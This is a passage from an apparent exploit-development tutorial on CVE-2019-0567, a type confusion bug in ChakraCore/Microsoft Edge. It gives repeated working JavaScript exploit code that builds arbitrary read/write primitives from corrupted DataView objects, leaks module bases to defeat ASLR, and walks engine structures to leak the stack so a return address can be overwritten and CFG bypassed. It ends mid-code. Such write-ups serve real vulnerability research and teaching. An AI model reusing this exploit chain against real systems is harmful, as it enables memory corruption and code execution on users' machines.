We can then set a breakpoint on our final instruction, which we previously have seen, which will perform our instruction.mov qword ptr [rcx+rax*8], rdxobj.h = dataview2

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After hitting the instruction, we can can see that our object is about to be operated on, and we can see that the of our object currently poitns to .dataview1bufferdataview10x24471ebed0

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After the write operation, we can see that now points to our object.dataview1->bufferdataview2

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Again, to reiterate, we can do this type of operation because of our type confusion vulnerability, where ChakraCore doesn’t know we have corrupted with the address of another object, our object. When we execute , ChakraCore treats as still having a valid pointer, which it doesn’t, and it will attempt to update the entry within (which is really a object). Because is stored where ChakraCore thinks is stored, we corrupt this value to the address of our second object, .obj->auxSlotsdataview1obj.h = dataview2objauxSlotsobj.hauxSlotsDataViewdataview1->bufferobj.hDataViewdataview2

Let’s now set a breakpoint, as we saw earlier in the blog post, on the method of our object, which will perform the final object corruption and, shortly, our arbitrary write. We also can entirely clear out all other breakpoints.setUint32()DataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After hitting our breakpoint, we can then scroll through the disassembly of and set a breakpoint on , as we have previously showcased in this blog post.EntrySetUint32()chakracore!Js::DataView::SetValue

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After hitting this breakpoint, we can scroll through the disassembly and set a final breakpoint on the other method.SetValue()

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Within this method function, we know is the instruction responsible ultimately for writing to the in-scope object’s buffer. Let’s clear out all breakpoints, and focus solely on this instruction.mov dword ptr [rax], ecxDataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After hitting this breakpoint, we know that RAX will contain the address we are going to write into. As we talked about in our exploitation strategy, this should be . We are going to use the method provided by in order to overwrite ’s address with a raw 64-bit value (broken up into two write operations).dataview2->buffersetUint32()dataview1dataview2->buffer

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Looking in the RCX register above, we can also actually see the “lower” part of ’s section – the target address we would like to perform an arbitrary write to.kernel32.dll.data

We now can step through the instruction and see that has been partially overwritten (the lower 4 bytes) with the lower 4 bytes of ’s section!mov dword ptr [rax], ecxdataview2->bufferkernel32.dll.data

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Perfect! We can now press in the debugger to hit the instruction again. This time, the operation should write the upper part of the section’s address, thus completing the full pointer-sized arbitrary write primitive.gmov dword ptr [rax], ecxsetUint32()kernel32.dll.data

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After hitting the breakpoint and stepping through the instruction, we can inspect RAX again to confirm this is and we have fully corrupted the pointer with an arbitrary address 64-bit address with no NaN-boxing effect! This is perfect, because the next time goes to set its buffer, it will use the address we provided, thinking this is its buffer! Because of this, whatever value we now supply to will actually overwrite ’s section! Let’s view this in action by again pressing in the debugger to see our operations.dataview2bufferdataview2kernel32.dlldataview2.setUint32()kernel32.dll.datagdataview2.setUint32()

As we can see below, when we hit our breakpoint again the address being used is located in , and our operation writes into the section! We have achieved an arbitrary write!bufferkernel32.dllsetUint32()0x41414141.data

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

We then press in the debugger once more, to write the other 32-bits. This leads to a full 64-bit arbitrary write primitive!g

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Perfect! What this means is that we can first set , via , to any 64-bit address we would like to overwrite. Then we can use in order to overwrite the provided 64-bit address! This also bodes true anytime we would like to arbitrarily read/dereference memory!dataview2->bufferdataview1.setUint32()dataview2.setUint32()

We simply, as the write primitive, set to whatever address we would like to read from. Then, instead of using the method to overwrite the 64-bit address, we use the method which will instead read whatever is located in . Since contains the 64-bit address we want to read from, this method simply will read 8 bytes from here, meaning we can read/write in 8 byte boundaries!dataview2->buffersetUint32()getUint32()dataview2->bufferdataview2->buffer

Here is our full read/write primitive code.

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
	return ${x.toString(16)};
}

// Arbitrary read function
function read64(lo, hi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
	// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
	var arrayRead = new Uint32Array(0x10);
	arrayRead[0] = dataview2.getUint32(0x0, true); 	// 4-byte arbitrary read
	arrayRead[1] = dataview2.getUint32(0x4, true);	// 4-byte arbitrary read

	// Return the array
	return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
	dataview2.setUint32(0x0, valLo, true);		// 4-byte arbitrary write
	dataview2.setUint32(0x4, valHi, true);		// 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // From here we can call read64() and write64()
}

main();

We can see we added a few things above. The first is our function, which really is just for “pretty printing” purposes. It allows us to convert a value to hex, which is obviously how user-mode addresses are represented in Windows.hex()

Secondly, we can see our function. This is practically dentical to what we displayed with the arbitrary write primitive. We use to corrupt the of with the address we want to read from. However, instead of using to overwrite our target address, we use the method to retrieve bytes from our target address.read64()dataview1bufferdataview2dataview2.setUint32()getUint32()0x8

Lastly, is identical to what we displayed in the code before the code above, where we walked through the process of performing an arbitrary write. We have simply “templatized” the read/write process to make our exploitation much more efficient.write64()

With a read/write primitive, the next step for us will be bypassing ASLR so we can reliably read/write data in memory.

Bypassing ASLR – Chakra/ChakraCore Edition

When it comes to bypassing ASLR, in “modern” exploitation, this requires an information leak. The 64-bit address space is too dense to “brute force”, so we must find another approach. Thankfully, for us, the way Chakra/ChakraCore lays out JavaScript objects in memory will allow us to use our type confusion vulnerability and read primitive to leak a address quite easily. Let’s recall the layout of a dynamic object in memory.chakracore.dll

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

As we can see above, and as we can recall, the first hidden property of a dynamic object is the . This will always point somewhere into , and within Edge. Because of this, we can simply use our arbitrary read primitive to set our target address we want to read from to the pointer of the object, for instance, and read what this address contains (which is a pointer in )! This concept is very simple, but we actually can more easily perform it by not using . Here is the corresponding code.vftablechakracore.dllchakra.dllvftabledataview2chakracore.dllread64()

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
	// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
	var arrayRead = new Uint32Array(0x10);
	arrayRead[0] = dataview2.getUint32(0x0, true); 	// 4-byte arbitrary read
	arrayRead[1] = dataview2.getUint32(0x4, true);	// 4-byte arbitrary read

	// Return the array
	return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
	dataview2.setUint32(0x0, valLo, true);		// 4-byte arbitrary write
	dataview2.setUint32(0x4, valHi, true);		// 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0, true);
	vtableHigh = dataview1.getUint32(4, true);

	// Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
}

main();

We know that in we first corrupt with the target address we want to read from by using . This is because is located at an offset of within the a object. However, since already acts on the object, and we know that the takes up bytes through , as it is the first item of a object, we can just simply using our ability to control , via methods, to just go ahead and retrieve whatever is stored at bytes – , which is the ! This is the only time we will perform a read without going through our function (for the time being). This concept is fairly simple, and can be seen by the diagram below.read64()dataview2->bufferdataview1.setUint(0x38...)buffer0x38DataViewdataview1dataview2vftable0x00x8DataViewdataview2dataview10x00x8vftableread64()

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

However, instead of using methods to overwrite the , we use the method to retrieve the value.setUint32()vftablegetUint32()

Another thing to notice is we have broken up our read into two parts. This, as we remember, is because we can only read/write 32-bits at a time – so we must do it twice to achieve a 64-bit read/write.

It is important to note that we will not step through the debugger ever and function call. This is because we, in great detail, have already viewed our arbitrary write primitive in action within WinDbg. We already know what it looks like to corrupt using the builtin method , and then using the same method, on behalf of , to actually overwrite the buffer with our own data. Because of this, anything performed here on out in WinDbg will be purely for exploitation reasons. Here is what this looks like when executed in .read64()write64()dataview2->bufferDataViewsetUint32()dataview2ch.exe

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

If we inspect this address in the debugger, we can clearly see the is the leaked from !vftableDataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

From here, we can compute the base address of by determining the offset between the entry leak and the base of .chakracore.dllvftablechakracore.dll

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

The updated code to leak the base address of can be found below:chakracore.dll

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
}

main();

Please note that we will omit all code before from here on out. This is to save space, and because we won’t be changing any code before then. Notice also, again, we have to store the 64-bit address into two separate variables. This is because we can only access data types up to 32-bits in JavaScript (in terms of Chakra/ChakraCore).opt(o, o, obj)

For any kind of code execution, on Windows, we know we will need to resolve needed Windows API function addresses. Our exploit, for this part of the blog series, will invoke to spawn (note that in part three we will be achieving a reverse shell, but since that exploit is much more complex, we first will start by just showing how code execution is possible).WinExeccalc.exe

On Windows, the Import Address Table (IAT) stores these needed pointers in a section of the PE. Remember that isn’t loaded into the process space until has executed our . So, to view the IAT, we need to run our , by way of , in WinDbg. We need to set a breakpoint on our function by way of .chakracore.dllch.exeexploit.jsexploit.jsch.exeprint()ch!WScriptJsrt::EchoCallback

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

From here, we can run to see where the IAT is for , which should contain a table of pointers to Windows API functions leveraged by .!dh chakracorechakracoreChakraCore

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After locating the IAT, we can simply just dump all the pointers located at .chakracore+0x17c0000

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

As we can see above, we can see that contains a pointer to (specifically, ). We can use our read primitive on this address, in order to leak an address from , and then compute the base address of by the same method shown with the leak.chakracore_iat+0x40kernel32.dllkernel32!RaiseExceptionStubkernel32.dllkernel32.dllvftable

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Here is the updated code to get the base address of :kernel32.dll

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
}

main();

We can see from here we successfully leak the base address of .kernel32.dll

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

You may also wonder, our is being treated as an array. This is actually because our function returns an array of two 32-bit values. This is because we are reading 64-bit pointer-sized values, but remember that JavaScript only provides us with means to deal with 32-bit values at a time. Because of this, stores the 64-bit address in two separated 32-bit values, which are managed by an array. We can see this by recalling the function.iatEntryread64()read64()read64()

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getUint32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getUint32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

We now have pretty much all of the information we need in order to get started with code execution. Let’s see how we can go from ASLR leak to code execution, bearing in mind Control Flow Guard (CFG) and DEP are still items we need to deal with.

Code Execution – CFG Edition

In my previous post on exploiting Internet Explorer, we achieved code execution by faking a and overwriting the function pointer with our ROP chain. This method is not possible in ChakraCore, or Edge, because of CFG.vftable

CFG is an exploit mitigation that validates any indirect function calls. Any function call that performs would be considered an indirect function call, because there is now way for the program to know what RAX is pointing to when the call happens, so if an attacker was able to overwrite the pointer being called, they obviously can redirect execution anywhere in memory they control. This exact scenario is what we accomplished with our Internet Explorer vulnerability, but that is no longer possible.call qword ptr [reg]

With CFG enabled, anytime one of these indirect function calls is executed, we can now actually check to ensure that the function wasn’t overwritten with a nefarious address, controlled by an attacker. I won’t go into more detail, as I have already written about control-flow integrity on Windows before, but CFG basically means that we can’t overwrite a function pointer to gain code execution. So how do we go about this?

CFG is a forward-edge control-flow integrity solution. This means that anytime a happens, CFG has the ability to check the function to ensure it hasn’t been corrupted. However, what about other control-flow transfer instructions, like a instruction?callreturn

call isn’t the only way a program can redirect execution to another part of a PE or loaded image. is also an instruction that redirects execution somewhere else in memory. The way a instruction works, is that the value at RSP (the stack pointer) is loaded into RIP (the instruction pointer) for execution. If we think about a simple stack overflow, this is what we do essentially. We use the primitive to corrupt the stack to locate the address, and we overwrite it with another address in memory. This leads to control-flow hijacking, and the attacker can control the program.retretret

Since we know a is capable of transferring control-flow somewhere else in memory, and since CFG doesn’t inspect instructions, we can simply use a primitive like how a traditional stack overflow works! We can locate a address that is on the stack (at the time of execution) in an executing thread, and we can overwrite that return address with data we control (such as a ROP gadget which returns into our ROP chain). We know this address will eventually be executed, because the program will need to use this return address to return execution to where it was before a given function (who’s return address we will corrupt) is overwritten.retretretret

The issue, however, is we have no idea where the stack is for the current thread, or other threads for that manner. Let’s see how we can leverage Chakra/ChakraCore’s architecture to leak a stack address.

Leaking a Stack Address

In order to find a return address to overwrite on the stack (really any active thread’s stack that is still committed to memory, as we will see in part three), we first need to find out where a stack address is. Ivan Fratric of Google Project Zero posted an issue awhile back about this exact scenario. As Ivan explains, a instance in ChakraCore contains stack pointers, such as . The chain of pointers is as follows: . Notice anything about this? Notice the first pointer in the chain – . As we know, a dynamic object is laid out in memory where is the first hidden property, and is the second! We already know we can leak the of our object (which we used to bypass ASLR). Let’s update our to also leak the of our object, in order to follow this chain of pointers Ivan talks about.ThreadContextstackLimitForCurrentThreadtype->javascriptLibrary->scriptContext->threadContexttypevftabletypevftabledataview2exploit.jstypedataview2

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
}

main();

We can see our exploit controls by way of and .dataview2->typetypeLotypeHigh

Let’s now walk these structures in WinDbg to identify a stack address. Load up in WinDbg and set a breakpoint on . When we hit this function, we know we are bound to see a dynamic object () in memory. We can then walk these pointers.exploit.jschakracore!Js::DataView::EntrySetUint32DataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After hitting our breakpoint, let’s scroll down into the disassembly and set a breakpoint on the all-familiar method.SetValue()

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After setting the breakpoint, we can hit in the debugger and inspect the RCX register, which should be a object.gDataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

The pointer is the first item we are looking for, per the Project Zero issue. We can find this pointer at an offset of inside the pointer.javascriptLibrary0x8type

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

From the pointer, we can retrieve the next item we are looking for – a structure. According to the Project Zero issue, this should be at an offset of . However, the Project Zero issue is considering Microsoft Edge, and the Chakra engine. Although we are leveraging CharkraCore, which is identical in most aspects to Chakra, the offsets of the structures are slightly different (when we port our exploit to Edge in part three, we will see we use the exact same offsets as the Project Zero issue). Our pointer is located at .javascriptLibraryScriptContextjavascriptLibrary+0x430ScriptContextjavascriptLibrary+0x450

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Perfect! Now that we have the pointer, we can compute the next offset – which should be our structure. This is found at in ChakraCore (the offset is different in Chakra/Edge).ScriptContextThreadContextscriptContext+0x3b8

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Perfect! After leaking the pointer, we can go ahead and parse this with the command in WinDbg, since ChakraCore is open-sourced and we have the symbols.ThreadContextdt

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

As we can see above, ChakraCore/Chakra stores various stack addresses within this structure! This is fortunate for us, as now we can use our arbitrary read primitive to locate the stack! The only thing to notice is that this stack address is not from the currently executing thread (our exploiting thread). We can view this by using the command in WinDbg to view information about the current thread, and see how the leaked address fairs.!teb

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

As we can see, we are bytes away from the of the current thread. This is perfectly okay, because this value won’t change in between reboots or ChakraCore being restated. This will be subject to change in our Edge exploit, and we will leak a different stack address within this structure. For now though, let’s use .0xed000StackLimitstackLimitForCurrrentThread

Here is our updated code, including the stack leak.

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
}

main();

Executing the code shows us that we have successfully leaked the stack for our current thread

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Now that we have the stack located, we can scan the stack to locate a return address, which we can corrupt to gain code execution.

Locating a Return Address

Now that we have a read primitive and we know where the stack is located. With this ability, we can now “scan the stack” in search for any return addresses. As we know, when a instruction occurs, the function being called pushes their return address onto the stack. This is so the function knows where to return execution after it is done executing and is ready to perform the . What we will be doing is locating the place on the stack where a function has pushed this return address, and we will corrupt it with some data we control.callret

To locate an optimal return address – we can take multiple approaches. The approach we will take will be that of a “brute-force” approach. This means we put a loop in our exploit that scans the entire stack for its contents. Any address of that starts with we can assume was a return address pushed on to the stack (this is actually a slight misnomer, as other data is located on the stack). We can then look at a few addresses in WinDbg to confirm if they are return addresses are not, and overwrite them accordingly. Do not worry if this seems like a daunting process, I will walk you through it.0x7fff

Let’s start by adding a loop in our which scans the stack.exploit.js

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

